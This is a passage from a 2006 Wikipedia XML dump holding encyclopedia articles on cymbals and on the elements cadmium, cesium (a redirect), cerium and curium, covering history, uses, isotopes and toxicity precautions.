[[nn:Kobolt]]
[[oc:Cobalt]]
[[pl:Kobalt]]
[[pt:Cobalto]]
[[ru:Кобальт]]
[[sl:Kobalt]]
[[sr:Кобалт]]
[[fi:Koboltti]]
[[sv:Kobolt]]
[[th:โคบอลต์]]
[[uk:Кобальт]]
[[zh:钴]]</text>
    </revision>
  </page>
  <page>
    <title>Cymbal</title>
    <id>5671</id>
    <revision>
      <id>38471675</id>
      <timestamp>2006-02-06T15:38:34Z</timestamp>
      <contributor>
        <ip>68.90.80.141</ip>
      </contributor>
      <comment>/* Manufacturers */</comment>
      <text xml:space="preserve">:''This article is about the [[percussion instrument]]s made of [[metal]] disks.  For the [[string instrument]] played with [[drum stick|beater]]s see [[cymbalum]].''

[[Image:Sabian Paragon.jpg|right|thumb|250px|[[Sabian]] Paragon cymbals]]

'''Cymbals''' (Fr. cymbales; Ger. Becken; Ital. piatti or cinelli), are a modern [[percussion_instrument|percussion instrument]]. Cymbals consist of thin, normally round plates of various [[cymbal alloys]]; see [[cymbal making]] for a discussion of their manufacture. Most modern cymbals are of indefinite pitch (tuned sets have been manufactured but are rare), whereas small cup-shaped cymbals based on ancient designs sound a definite note; see [[crotal]]. 

Cymbals are used in modern [[orchestra]]s and many military, marching, concert and other [[band (music)|band]]s. They are one of the two instrument types that form the modern [[drum kit]], the other of course being the [[drum]], and as such are a basic part of much [[contemporary music]]. Even the most basic drum kit normally contains at least one [[suspended cymbal]] and a pair of [[hi-hat]] cymbals.

== Orchestral cymbals ==

Although cymbals are not often required they form part of every [[orchestra]]; their chief use is for marking the rhythm and for producing weird, fantastic effects or adding military colour, and their shrill notes hold their own against a full orchestra playing fortissimo. Cymbals are specially suited for suggesting frenzy, fury or bacchanalian revels, as in the Venus music in [[Richard Wagner|Wagner]]'s ''[[Tannhäuser]]'' and [[Grieg]]'s ''[[Peer Gynt suite]]''.

=== [[Crash cymbal]]s ===

[[Image:Crash cymbals profile.png|thumb|100px|A pair of clash cymbals in profile. The bell is in green and the straps are in red.]]

Orchestral [[crash cymbal]]s are traditionally used in pairs, each one having a strap set in the bell of the cymbal by which they are held. Such a pair is known technically as a pair of '''clash cymbals''', although this term is rarely used, see [[clash cymbals]]. They are confusingly sometimes referred to simply as ''crash cymbals'', although this term properly applies also to some [[suspended cymbal]]s. 

The sound is obtained by rubbing their edges together in a sliding movement rather than by clashing them against each other as laymen often suppose. A skilled player can obtain an enormous dynamic range from such a pair of cymbals. For example, in [[Beethoven's ninth symphony]], one of their first appearances in an orchestral work, they make their entry pianissimo, adding a touch of colour rather than an almighty crash.

Clash cymbals are usually [[damping|damped]] by pressing them against the player's body. A composer may write ''laissez vibrer'', &quot;Let them vibrate&quot; (usually l.v.), ''sec'' (dry), or equivalent indications on the score; more usually, the player must judge exactly when to damp the cymbals based on the written duration of crash and the context in which it occurs.

Clash cymbals have traditionally been accompanied by the [[bass drum]] playing an identical part. This combination, played loudly, is an effective way to accentuate a note since the two instruments together contribute to both very low and very high frequency ranges and provide a satisfying &quot;crash-bang-wallop&quot;. In older music the composer sometimes provided just one part for this pair of instruments, writing  senza piatti, or piatti soli if the bass drum is to remain silent. However, the modern convention is for the instruments to have independent parts.

Clash cymbals evolved into the [[low-sock]] and from this to the modern [[hi-hat]]. Even in a modern drum kit, they remain paired with the bass drum as the two instruments which are played with the player's feet. However, hi-hat cymbals tend to be heavy with little taper, more similar to a [[ride cymbal]] than to a [[crash cymbal]] as found in a drum kit, and perform a ride rather than a crash function.

=== Suspended cymbals ===

The second main orchestral use of cymbals is the '''[[suspended cymbal]]'''. This is a cymbal mounted horizontally or nearly horizontally as in a modern [[drum kit]]. These can be played with felt mallets or  [[timpani]] beaters and give an eerie sound when played quietly. A tremelo played in this way can build in volume to a climax in a satisfyingly smooth manner.

Furthermore, the edge of a suspended cymbal may be hit with shoulder of a [[drum stick]] to obtain a sound somewhat akin to that of a pair of clash cymbals. Other methods of playing include scraping a coin or a [[triangle (instrument)|triangle]] beater rapidly across the ridges on the top of the cymbal, giving a &quot;zing&quot; sound (as in the fourth movement of Dvo&amp;#345;ák's Symphony No. 9). Cymbals may also be dropped, intentionally or otherwise, causing a range of sounds depending on whether it hits the floor full on or spins before coming to a rest. This is not particularly good for the cymbal, however.

=== Ancient cymbals ===

'''Ancient cymbals''' or '''tuned cymbals''' are much more rarely called for. Their timbre is entirely different, more like that of small hand-bells or of the notes of the keyed harmonica. They are not struck full against each other, but by one of their edges, and the note given out by them is higher in proportion as they are thicker and smaller. Berlioz's ''Romeo and Juliet'' calls for two pairs of cymbals, modelled on some ancient Pompeian instruments no larger than the hand (some are no larger than a crown piece), and tuned to F and B flat. The modern instruments descended from this line are the [[crotal]]es.

== Origins ==

The origins of cymbals can be traced back to prehistoric times. The ancient [[Egypt]]ian cymbals closely resembled our own. The [[British Museum]] possesses two pairs, 13cm in diameter, one of which was found in the coffin of the mummy of Ankhhape, a sacred musician. Those used by the [[Assyria]]ns were both plate- and cup-shaped. The [[Ancient Greece|Greek]] cymbals were cup or bell-shaped, and may be seen in the hands of innumerable [[faun]]s and [[satyr]]s in sculptures and on painted vases. The word cymbal is derived from the Latin '''cymbalum''' which itself derives from the Greek word '''kumbalom''', meaning a small bowl.

== Terminology ==

During the middle ages the word cymbal was applied to the ''[[Glockenspiel]]'', or peal of small bells, and later to the [[dulcimer]], perhaps on account of the clear bell-like tone produced by the hammers striking the wire strings. After the introduction of the keyed dulcimer or [[clavichord]] the [[spinet]], the word clavicymbal was used in the [[Romance language]]s to denote the varieties of [[spinet]] and [[harpsichord]]. Ancient cymbals are among the instruments played by [[King David]] and his musicians in the [[9th century BC]] illuminated manuscript known as the [[Bible of Charles the Bald]] in the [[Bibliothèque Nationale]], [[Paris]].

== Types of cymbal ==

Particular types of cymbal include:
* [[Crash cymbal]]
* [[Clash cymbals]]
* [[Hi-hat cymbal]]
* [[Ride cymbal]]
* [[Sizzle cymbal]]
* [[Splash cymbal]]
* [[Suspended cymbal]]
* [[China cymbal]]
* [[Swish cymbal|Swish and pang cymbals]]
* [[Zil|Finger cymbals]]

== See also ==
*[[Armand Zildjian]]
*[[Avedis Zildjian Company]]
*[[Cymbal alloys]]
*[[Cymbal making]]
*[[drum]]
*[[percussion_instrument|percussion]]

===Manufacturers===
*[[Saluda cymbals|Saluda]]
*[[Paiste]]
*[[Istanbul cymbals|Istanbul]]
*[http://www.masterworkcymbal.com Masterwork] [http://www.masterworkcymbals.de Masterwork Germany]
*[[Sabian]]
*[[UFIP]]
*[[Avedis Zildjian Company|Zildjian]]
*[[Meinl]]


See also [[:Category:Cymbal manufacturers]].

==External links==

*[http://www.nexuspercussion.com/BobCymbal.html Orchestral cymbal playing], with an excellent short history of cymbals

==References==
*{{1911}}

[[Category:Cymbals|0]]
[[Category:Orchestral percussion]]
[[Category:Marching percussion]]
[[Category:Idiophones]]
[[Category:Drum kit components]]

[[de:Becken (Musikinstrument)]]
[[es:Platillos]]
[[eo:Cimbalo]]
[[fr:Cymbale]]
[[it:Piatto (musica)]]
[[nl:Bekken (muziekinstrument)]]
[[ja:シンバル]]
[[no:Cymbal]]
[[pl:Czynel]]
[[ru:Тарелка (музыкальный инструмент)]]
[[sl:Činele]]
[[sv:Cymbal]]</text>
    </revision>
  </page>
  <page>
    <title>Cadmium</title>
    <id>5672</id>
    <revision>
      <id>39996339</id>
      <timestamp>2006-02-17T10:42:39Z</timestamp>
      <contributor>
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      <minor />
      <comment>fix the fix</comment>
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'''Cadmium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Cd''' and [[atomic number]] 48. A relatively rare, soft, bluish-white, toxic [[transition metal]], cadmium occurs with [[zinc]] ores and is used largely in batteries.

==Production==
Cadmium is a common impurity in zinc, and it is most often isolated during the production of zinc. Zinc sulfide ores are roasted in the presense of oxygen converting the zinc sulfide to the oxide. Zinc metal is produced either by smelting the oxide with carbon or by electrolysis in sulfuric acid. Cadmium is isolated from the zinc metal by vacuum distillation if the zinc is smelted, or cadmium sulfate is precipitated out of the electrolysis solution. (ref 1)

== Notable characteristics ==
Cadmium is a soft, malleable, ductile, bluish-white bivalent [[metal]] which can be easily cut with a knife. It is similar in many respects to [[zinc]] but lends itself to more complex compounds.

The most common [[oxidation state]] of cadmium is +2, though rare examples of +1 can be found.

== Applications ==
About three-fourths of cadmium is used in [[Battery (electricity)|batteries]] (especially [[nickel-cadmium battery|Ni-Cd]] batteries) and most of the remaining one-fourth is used mainly for [[Cadmium pigments|pigments]], coatings and plating, and as stabilizers for [[plastic]]s. Other uses;
*Used in some of the lowest melting [[alloy]]s.
*Due to a low [[coefficient of friction]] and very good fatigue resistance, it is used in bearing alloys.
*6% of cadmium finds use in [[electroplating]].
*Many kinds of [[solder]] contain this metal.
*As a barrier to control [[nuclear fission]].
*Compounds containing cadmium are used in black and white [[television]] phosphors and also in the blue and green phosphors for color television picture tubes.
*Cadmium forms various [[salt]]s, with [[cadmium sulfide]] being the most common. This sulfide is used as a [[Cadmium pigments|yellow pigment]]. [[Cadmium selenide]] can be used as red pigment, commonly called ''cadmium red''.
*Used in some [[semiconductor]]s such as cadmium sulfide, cadmium selenide, and [[cadmium telluride]], which can be used for [[light]] detection or [[solar cell]]s. [[HgCdTe]] is sensitive to [[infrared]].
*Some cadmium compounds are employed in [[Polyvinyl chloride | PVC]] as stabilizers.
*Used in the first [[neutrino]] detector.
*Used to block voltage-dependent calcium channels from fluxing calcium ions in molecular biology.

== History ==
Cadmium ([[Latin]] ''cadmia'', [[Greek language|Greek]] ''kadmeia'' meaning &quot;[[calamine]]&quot;) was [[discovery of the chemical elements|discovered]] in  [[Germany]] in [[1817]] by [[Friedrich Strohmeyer]]. Strohmeyer found the new element within an impurity in [[zinc carbonate]] (calamine) and for 100 years Germany remained the only important producer of the metal. The metal was named after the Latin word for calamine since the metal was found in this zinc compound. Strohmeyer noted that some impure samples of calamine changed color when heated but pure calamine did not.

Even though cadmium and its compounds are highly toxic, the [[British Pharmaceutical Codex]] from 1907 states that [[cadmium iodide]] was used as a [[medicine]] to treat &quot;enlarged joints, scrofulous glands, and chilblains&quot;.

In [[1927]], the [[International Conference on Weights and Measures]] redefined the [[metre|meter]] in terms of a red cadmium spectral line (1m = 1,553,164.13 wavelengths). This definition has since been changed (see [[krypton]]).

== Occurrence ==
[[Image:CadmiumMetalUSGOV.jpg|thumb|left|Cadmium metal]]
Cadmium-containing ores are rare and when found they occur in small quantities. [[Greenockite]] (Cd[[sulfur|S]]), the only cadmium [[mineral]] of importance, is nearly always associated with [[sphalerite]] ([[zinc|Zn]]S). Consequently, cadmium is produced mainly as a byproduct from mining, smelting, and refining [[sulfide]] ores of zinc, and to a lesser degree, [[lead]] and [[copper]]. Small amounts of cadmium, about 10% of consumption, are produced from secondary sources, mainly from dust generated by recycling [[iron]] and [[steel]] scrap.  Production in the [[United States]] began in [[1907]] but it was not until after [[World War I]] that cadmium came into wide use.
;see also [[:category:Cadmium minerals]]

== Isotopes ==
Naturally occurring cadmium is composed of 8 [[isotope]]s. For two of them, natural [[radioactivity]] was observed, and other three are predicted to be [[radioactive]] but their decays were never observed, due to extremely long [[half-life]] times. The two natural radioactive isotopes are &lt;sup&gt;113&lt;/sup&gt;Cd ([[beta decay]], [[half-life]] is 7.7 X 10&lt;sup&gt;15&lt;/sup&gt; years) and &lt;sup&gt;116&lt;/sup&gt;Cd (two-neutrino [[double beta decay]], [[half-life]] is 2.9 X 10&lt;sup&gt;19&lt;/sup&gt; years). Other three ones are &lt;sup&gt;106&lt;/sup&gt;Cd, &lt;sup&gt;108&lt;/sup&gt;Cd ([[double electron capture]]), and &lt;sup&gt;114&lt;/sup&gt;Cd ([[double beta decay]]); only lower limits on their [[half-life]] times have been set. At least three isotopes - &lt;sup&gt;110&lt;/sup&gt;Cd, &lt;sup&gt;111&lt;/sup&gt;Cd, and &lt;sup&gt;112&lt;/sup&gt;Cd - are absolutely stable. Among the isotopes absent in the natural cadmium, the most long-lived are &lt;sup&gt;109&lt;/sup&gt;Cd with a half-life of 462.6 days, and &lt;sup&gt;115&lt;/sup&gt;Cd with a half-life of 53.46 hours. All of the remaining [[radioactive]] isotopes have half-lifes that are less than 2.5 hours and the majority of these have half-lifes that are less than 5 minutes. This element also has 8 known [[meta state]]s with the most stable being &lt;sup&gt;113m&lt;/sup&gt;Cd (t&lt;sub&gt;½&lt;/sub&gt; 14.1 years), &lt;sup&gt;115m&lt;/sup&gt;Cd (t&lt;sub&gt;½&lt;/sub&gt; 44.6 days) and &lt;sup&gt;117m&lt;/sup&gt;Cd (t&lt;sub&gt;½&lt;/sub&gt; 3.36 hours).

The known isotopes of cadmium range in [[atomic weight]] from 96.935 [[atomic mass unit|u]] (&lt;sup&gt;97&lt;/sup&gt;Cd) to 129.934 amu (&lt;sup&gt;138&lt;/sup&gt;Cd). The primary [[decay mode]] before the second most abundant stable isotope, &lt;sup&gt;112&lt;/sup&gt;Cd, is [[electron capture]] and the primary modes after are [[beta emission]] and [[electron capture]]. The primary [[decay product]] before &lt;sup&gt;112&lt;/sup&gt;Cd is element 47 ([[silver]]) and the primary product after is element 49 ([[indium]]).

== Precautions ==
Cadmium has no constructive purpose in the [[human]] body. This element and solutions of its compounds are extremely [[toxic]] even in low concentrations, and will [[bioaccumulate]] in organisms and [[ecosystem]]s. One possible reason for its toxicity is that it interferes with the action of [[zinc]]-containing enzymes. Zinc is an important element in biological systems, but cadmium, although similar to zinc chemically in many ways, apparently does not substitute or &quot;stand in&quot; for it well at all. Cadmium may also interfere with biological processes containing [[magnesium]] and [[calcium]] in a similar fashion.

Inhaling cadmium laden dust quickly leads to [[respiratory tract]] and [[kidney]] problems which can be fatal (often from [[renal failure]]). Ingestion of any significant amount of cadmium causes immediate poisoning and damage to the [[liver]] and the kidneys. Compounds containing cadmium are also [[carcinogen]]ic. Cadmium poisoning is the cause of the [[itai-itai disease]], which literally means &quot;pain pain&quot; in [[Japanese language|Japanese]].  In addition to kidney damage, patients suffered from [[osteoporosis]] and [[osteomalacia]].

While working with cadmium it is important to do so under a [[fume hood]] to protect against dangerous fumes. [[Silver (element)|Silver]] [[solder]], for example, which contains cadmium, should be handled with care. Serious toxicity problems have resulted from long-term exposure to cadmium plating baths.

''See also: [[Cadmium Poisoning]]''

==References==
1.  http://www.webelements.com, see 'cadmium' 
{{wiktionarypar|cadmium}}
*[http://periodic.lanl.gov/elements/48.html Los Alamos National Laboratory &amp;ndash; Cadmium]

== External links ==
{{Commons|Cadmium}}
*[http://www-cie.iarc.fr/htdocs/monographs/vol58/mono58-2.htm IARC Monograph &quot;Cadmium and Cadmium Compounds&quot;]
*[http://www.npi.gov.au/database/substance-info/profiles/17.html National Pollutant Inventory - Cadmium and compounds]
*[http://www.webelements.com/webelements/elements/text/Cd/index.html WebElements.com &amp;ndash; Cadmium]

{{poisonmetal}}
[[Category:Chemical elements]]
[[Category:Transition metals]]
[[Category:Toxicology]]
[[Category:IARC Group 1 carcinogens]]

[[ca:Cadmi]]
[[cs:Kadmium]]
[[da:Cadmium]]
[[de:Cadmium]]
[[et:Kaadmium]]
[[el:Κάδμιο]]
[[es:Cadmio]]
[[eo:Kadmio]]
[[fr:Cadmium]]
[[ko:카드뮴]]
[[io:Kadmio]]
[[is:Kadmín]]
[[it:Cadmio]]
[[he:קדמיום]]
[[ku:Kadmiyûm]]
[[lv:Kadmijs]]
[[lt:Kadmis]]
[[hu:Kadmium]]
[[nl:Cadmium]]
[[ja:カドミウム]]
[[no:Kadmium]]
[[nn:Kadmium]]
[[oc:Cadmi]]
[[pl:Kadm]]
[[pt:Cádmio]]
[[ru:Кадмий]]
[[sl:Kadmij]]
[[sr:Кадмијум]]
[[fi:Kadmium]]
[[sv:Kadmium]]
[[th:แคดเมียม]]
[[vi:Cadmi]]
[[uk:Кадмій]]
[[zh:镉]]</text>
    </revision>
  </page>
  <page>
    <title>Cesium</title>
    <id>5673</id>
    <revision>
      <id>38717273</id>
      <timestamp>2006-02-08T03:54:26Z</timestamp>
      <contributor>
        <username>Ανδρέας</username>
        <id>469010</id>
      </contributor>
      <minor />
      <comment>moved [[Cesiumxxx]] to [[Cesium]]</comment>
      <text xml:space="preserve">#REDIRECT [[Caesium]]</text>
    </revision>
  </page>
  <page>
    <title>Cerium</title>
    <id>5674</id>
    <revision>
      <id>41449595</id>
      <timestamp>2006-02-27T11:25:30Z</timestamp>
      <contributor>
        <ip>217.185.17.212</ip>
      </contributor>
      <comment>/* Occurrence */</comment>
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'''Cerium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Ce''' and [[atomic number]] 58.

== Notable characteristics ==
Cerium is a silvery metallic element, belonging to the [[lanthanide]] group. It is used in some rare-earth alloys. It resembles iron in color and luster, but is soft, and both malleable and ductile. It tarnishes readily in the air. Only [[europium]] is more reactive than cerium among rare earth elements. Alkali solutions and dilute and concentrated acids attack the metal rapidly. The pure metal is likely to ignite if scratched with a knife. Cerium oxidizes slowly in cold water and rapidly in hot water.

Because of the relative closeness of the 4''f'' and outer shell orbitals in cerium, it exhibits an interestingly variable chemistry. For example, compression or cooling of the metal can change its oxidation state from about 3 to 4.

Cerium in the +3 oxidation state is referred to as '''cerous''', while the metal in the +4 oxidation state is called '''ceric'''.

Cerium(IV) salts are orange red or yellowish, whereas cerium(III) salts are usually white.

== Applications ==
Uses of cerium:

* In [[metallurgy]]:
** Cerium is used in making [[aluminium]] [[alloy]]s.
** Adding cerium to [[cast iron]]s opposes graphitization and produces a malleable iron.
** In [[steel]]s, cerium degasifies and can help reduce sulfides and oxides. 
** Cerium is used in [[stainless steel]] as a [[precipitation hardening]] agent. 
** 3 to 4% cerium added to [[magnesium]] alloys, along with 0.2 to 0.6% zirconium, helps [[grain refinement|refine the grain]] and give sound [[casting]] of complex shapes. It also adds heat resistance to magnesium castings.
** Cerium is used in alloys that are used to make permanent magnets.
** Cerium is used as an alloying element in [[tungsten]] electrodes for [[gas tungsten arc welding]].
** Cerium is a major component of [[ferrocerium]], also known as &quot;[[lighter (fire starter)|lighter]] flint&quot;.  Although modern alloys of this type generally use [[Mischmetal]] rather than purified cerium, it still is the most prevalent constituent.
** Cerium is used in [[carbon arc lamp|carbon-arc lighting]], especially in the [[film|motion picture]] industry. 
* [[Cerium(IV) oxide]]
** The oxide is used in incandescent gas mantles, such as the [[Gas mantle|Welsbach mantle]], where it was combined  with [[Thorium]], [[Lanthanum]], [[Magnesium]] or [[Yttrium]]  oxides .
** The oxide is emerging as a hydrocarbon [[catalyst]] in self cleaning ovens, incorporated into oven walls.
** Cerium(IV) oxide has largely replaced [[Rouge]] in the [[glass]] industry as a polishing abrasive.
** Cerium(IV) oxide is finding use as a petroleum cracking catalyst in petroleum refining.
** In glass, cerium(IV) oxide allows for selective absorption of [[ultraviolet light]].
* Cerium(IV) sulfate is used extensively as a volumetric [[oxidizing agent]] in quantitative analysis. 
* Cerium compounds are used in the manufacture of [[glass]], both as a component and as a decolorizer. 
* Cerium compounds are used for the coloring of enamel.
* Cerium(III) and cerium(IV) compounds such as [[cerium(III) chloride]] have uses as [[catalyst]]s in [[organic synthesis]].

== History ==
Cerium was discovered in [[Sweden]] by [[Jöns Jakob Berzelius]] and [[Wilhelm von Hisinger]], and independently in [[Germany]] by [[Martin Heinrich Klaproth]], both in [[1803]]. 
Cerium was so named by Berzelius after the asteroid [[1 Ceres|Ceres]], discovered two years earlier ([[1801]]).

== Occurrence ==
Cerium is the most abundant of the [[rare earth element]]s, making up about 0.0046% of the Earth's crust by weight. It is found in a number of minerals including [[allanite]] (also known as orthite)&amp;mdash;(Ca, Ce, La, Y)&lt;sub&gt;2&lt;/sub&gt;(Al, Fe)&lt;sub&gt;3&lt;/sub&gt;(SiO&lt;sub&gt;4&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;(OH), [[monazite]] (Ce, La, Th, Nd, Y)PO&lt;sub&gt;4&lt;/sub&gt;, [[bastnasite]](Ce, La, Y)CO&lt;sub&gt;3&lt;/sub&gt;F, hydroxylbastnasite (Ce, La, Nd)CO&lt;sub&gt;3&lt;/sub&gt;(OH, F), rhabdophane (Ce, La, Nd)PO&lt;sub&gt;4&lt;/sub&gt;-H&lt;sub&gt;2&lt;/sub&gt;O, and synchysite Ca(Ce, La, Nd, Y)(CO&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;F. Monazite and bastnasite are presently the two most important sources of cerium. 

Cerium is most often prepared via an [[ion exchange]] process that uses monazite sands as its cerium source.

Large deposits of monazite, allanite, and bastnasite will supply cerium, thorium, and other rare-earth metals for many years to come.

See also ''[[:Category:Lanthanide minerals]]''

== Compounds ==
Cerium has two common [[oxidation state]]s, +3 and +4.  The most common compound of cerium is [[cerium(IV) oxide]] (CeO&lt;sub&gt;2&lt;/sub&gt;), which is used as &quot;jeweller's [[rouge]]&quot; as well as in the walls of some self-cleaning ovens. Two common [[Oxidation#Oxidizing_and_Reducing_agents|oxidising agent]]s used in [[titration]]s are [[ammonium cerium(IV) sulfate]] (ceric ammonium sulfate, (NH&lt;sub&gt;4&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;Ce(SO&lt;sub&gt;4&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;) and [[ammonium cerium(IV) nitrate]] (ceric ammonium nitrate or CAN, (NH&lt;sub&gt;4&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;Ce(NO&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;6&lt;/sub&gt;).  
Cerium also forms a [[chloride]], CeCl&lt;sub&gt;3&lt;/sub&gt; or [[cerium(III) chloride]], used to facilitate reactions at [[carbonyl group]]s in [[organic chemistry]].  Other compounds include [[cerium(III) carbonate]] (Ce&lt;sub&gt;2&lt;/sub&gt;(CO&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;), [[cerium(III) fluoride]] (CeF&lt;sub&gt;3&lt;/sub&gt;), [[cerium(III) oxide]] (Ce&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;), as well as [[cerium(IV) sulfate]] (ceric sulfate, Ce(SO&lt;sub&gt;4&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;) and cerium(III) triflate (Ce(OSO&lt;sub&gt;2&lt;/sub&gt;CF&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;).

See also ''[[:Category:Cerium compounds]]''

== Isotopes ==
Naturally occurring cerium is composed of 3 stable [[isotope]]s and 1 radioactive isotope; 136-Ce, 138-Ce, 140-Ce, and 142-Ce with 140-Ce being the most abundant (88.48% [[natural abundance]]). 27 [[radioisotope]]s have been characterized with the most {abundant and/or stable} being 142-Ce with a [[half-life]] of greater than 5&amp;times;10&lt;sup&gt;16&lt;/sup&gt; years, 144-Ce with a half-life of 284.893 days, 139-Ce with a half-life of 137.640 days, and 141-Ce with a half-life of 32.501 days.  All of the remaining [[radioactive]] isotopes have half-lives that are less than 4 days and the majority of these have half-lives that are less than 10 minutes. This element also has 2 [[meta state]]s. 

The isotopes of cerium range in [[atomic weight]] from 123 [[atomic mass unit|u]] (123-Ce) to 152 u (152-Ce).

== Precautions ==
Cerium, like all rare earth metals, is of low to moderate &lt;font color=&quot;red&quot;&gt;toxicity&lt;/font&gt;. Cerium is a strong reducing agent and ignites spontaneously in air at 65 to 80 °C. Fumes from cerium fires are toxic. Water should not be used to stop cerium fires, as cerium reacts with water to produce hydrogen gas. Workers exposed to cerium have experienced itching, sensitivity to heat, and skin lesions. Animals injected with large doses of cerium have died due to cardiovascular collapse.

Cerium(IV) oxide is a powerful oxidizing agent at high temperatures and will react with combustible organic materials. While cerium is not radioactive, the impure commercial grade may contain traces of thorium, which is radioactive. Cerium serves no known biological function.

==References==
*[http://periodic.lanl.gov/elements/58.html Los Alamos National Laboratory &amp;ndash; Cerium]
*[http://prola.aps.org/abstract/PRB/v19/i11/p5746_1 Lattice and spin dynamics of gamma-Ce]

== External links ==
{{Commons|Cerium}}
*[http://www.webelements.com/webelements/elements/text/Ce/index.html WebElements.com &amp;ndash; Cerium]
*[http://education.jlab.org/itselemental/ele058.html It's Elemental &amp;ndash; The Element Cerium]
*[http://www.azom.com/details.asp?ArticleID=592 Cerium Properties and Applications]

[[Category:Chemical elements]]
[[Category:Lanthanides]]
[[Category:cerium compounds]]

[[bs:Cerium]]
[[ca:Ceri]]
[[cs:Cer]]
[[de:Cer]]
[[et:Tseerium]]
[[es:Cerio]]
[[eo:Cerio]]
[[fr:Cérium]]
[[ko:세륨]]
[[io:Cerio]]
[[it:Cerio]]
[[he:צריום]]
[[lt:Ceris]]
[[lv:Cērijs]]
[[hu:Cérium]]
[[nl:Cerium]]
[[ja:セリウム]]
[[no:Cerium]]
[[nn:Cerium]]
[[pl:Cer]]
[[pt:Cério]]
[[ru:Церий]]
[[sl:Cerij]]
[[sr:Церијум]]
[[fi:Cerium]]
[[sv:Cerium]]
[[th:ซีเรียม]]
[[uk:Церій]]
[[zh:铈]]</text>
    </revision>
  </page>
  <page>
    <title>Curium</title>
    <id>5675</id>
    <revision>
      <id>41411956</id>
      <timestamp>2006-02-27T03:42:50Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Polonium|Polonium]] ([[User talk:Polonium|talk]]) to last version by Chobot</comment>
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 | dm1=SF | de1=- | pn1= | ps1=-
 | dm2=&amp;alpha; | de2=5.169 | pn2=246 | ps2=[[plutonium|Pu]]
 | dm3=[[beta emission|&amp;beta;&lt;sup&gt;-&lt;/sup&gt;]] | de3=0.037 | pn3=250 | ps3=[[berkelium|Bk]] }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ff99cc | color2=black }}

'''Curium''' is a [[synthetic element]] in the [[periodic table]] that has the symbol '''Cm''' and [[atomic number]] 96. A [[Radioactive decay|radioactive]] [[metal]]lic [[transuranic element]] of the [[actinide]] series, curium is produced by bombarding [[plutonium]] with [[alpha particle]]s ([[helium]] [[ion]]s) and was named for [[Maria Sklodowska-Curie|Marie Curie]] and her husband [[Pierre Curie|Pierre]].

== Notable characteristics ==
The [[isotope]] curium-248 has been synthesized only in milligram quantities, but curium-242 and curium-244 are made in multigram amounts, which allows for the determination of some of the element's properties. Curium-244 can be made in quantity by subjecting [[plutonium]] to [[neutron]] bombardment. Very small amounts of curium may exist in [[uranium]] ore as a daughter product of natural decay. There are few commercial applications for curium but it may one day be useful in radioisotope thermoelectric generators. Curium [[bio-accumulate]]s in [[bone]] tissue where its radiation destroys  [[bone marrow]] and thus stops [[red blood cell]] creation.

A [[rare earth]] homolog, curium is somewhat chemically similar to [[gadolinium]] but with a more complex [[crystal structure]]. Chemically reactive, its [[metal]] is silvery-white in color and the element is more [[electropositive]] than [[aluminium]] (most trivalent curium [[compound (chemistry)|compound]]s  are slightly yellow). 

Curium has been studied greatly as a potential fuel for [[RTG|Radioisotope thermoelectric generators]]. Curium-242 can generate up to 120 [[watt]]s of thermal [[energy]] per gram (W/g); its very short half-life though makes it undesirable as a power source for long-term use. Curium-242 is the precursor to [[plutonium]]-238 which is the most common fuel for RTGs. Curium-244 has also been studied as an energy source for RTGs having a maximum energy density ~3 W/g, but produces a large amount of neutron radiation from [[Spontaneous_fission|spontaneous fission]]. Curium-243 with a ~30 year half-life and good energy density of ~1.6 W/g would seem to make an ideal fuel, but it produces significant amounts of [[Gamma_ray|gamma]] and [[Beta_ray|beta]] radiation from radioactive decay products.

Compounds include: curium dioxide (Cm[[oxygen|O]]&lt;sub&gt;2&lt;/sub&gt;), curium trioxide (Cm&lt;sub&gt;2&lt;/sub&gt;O&lt;sub&gt;3&lt;/sub&gt;), curium bromide (Cm[[bromine|Br]]&lt;sub&gt;3&lt;/sub&gt;), curium chloride (Cm[[chlorine|Cl]]&lt;sub&gt;3&lt;/sub&gt;), curium tetrafluoride (Cm[[Fluorine|F]]&lt;sub&gt;4&lt;/sub&gt;) and curium iodide (Cm[[iodine|I]]&lt;sub&gt;3&lt;/sub&gt;).

== History ==
Curium was [[discoveries of the chemical elements|first synthesized]] at the [[University of California, Berkeley]] and by [[Glenn T. Seaborg]], Ralph A. James, and [[Albert Ghiorso]] in [[1944]]. The team named the new element after [[Marie Curie]] and her husband [[Pierre Curie|Pierre]] who are famous for discovering [[radium]] and for their work in [[radioactivity]]. It was chemically identified at the Metallurgical Laboratory (now [[Argonne National Laboratory]]) at the [[University of Chicago]]. It was actually the third transuranium element to be discovered even though it is the second in the series. Curium-242 ([[half-life]] 163 days) and one [[free neutron]] were made by bombarding [[alpha particle]]s onto a [[plutonium]]-239 target in the 60-inch [[cyclotron]] at Berkeley.  Louis Werner and  Isadore Perlman created a visible sample of curium-242 [[hydroxide]] at the [[University of California]] in [[1947]] by bombarding [[americium]]-241 with neutrons. Curium was made in its elemental form in [[1951]] for the first time.

== Isotopes ==
19 [[radioisotope]]s of curium have been characterized, with the most stable being Cm-247 with a [[half-life]] of 1.56 &amp;times; 10&lt;sup&gt;7&lt;/sup&gt; [[year]]s, Cm-248 with a half-life of 3.40 &amp;times; 10&lt;sup&gt;5&lt;/sup&gt; years, Cm-250 with a half-life of 9000 years, and Cm-245 with a half-life of 8500 years.  All of the remaining [[radioactive]] isotopes have half-lifes that are less than 30 years, and the majority of these have half lifes that are less than 33 days. This element also has 4 [[meta state]]s, with the most stable being Cm-244m (t&lt;sub&gt;½&lt;/sub&gt; 34 ms). The isotopes of curium range in [[atomic weight]] from 233.051  [[atomic mass unit|u]] (Cm-233) to 252.085 u (Cm-252).

== [[Nuclear fuel cycle]] ==

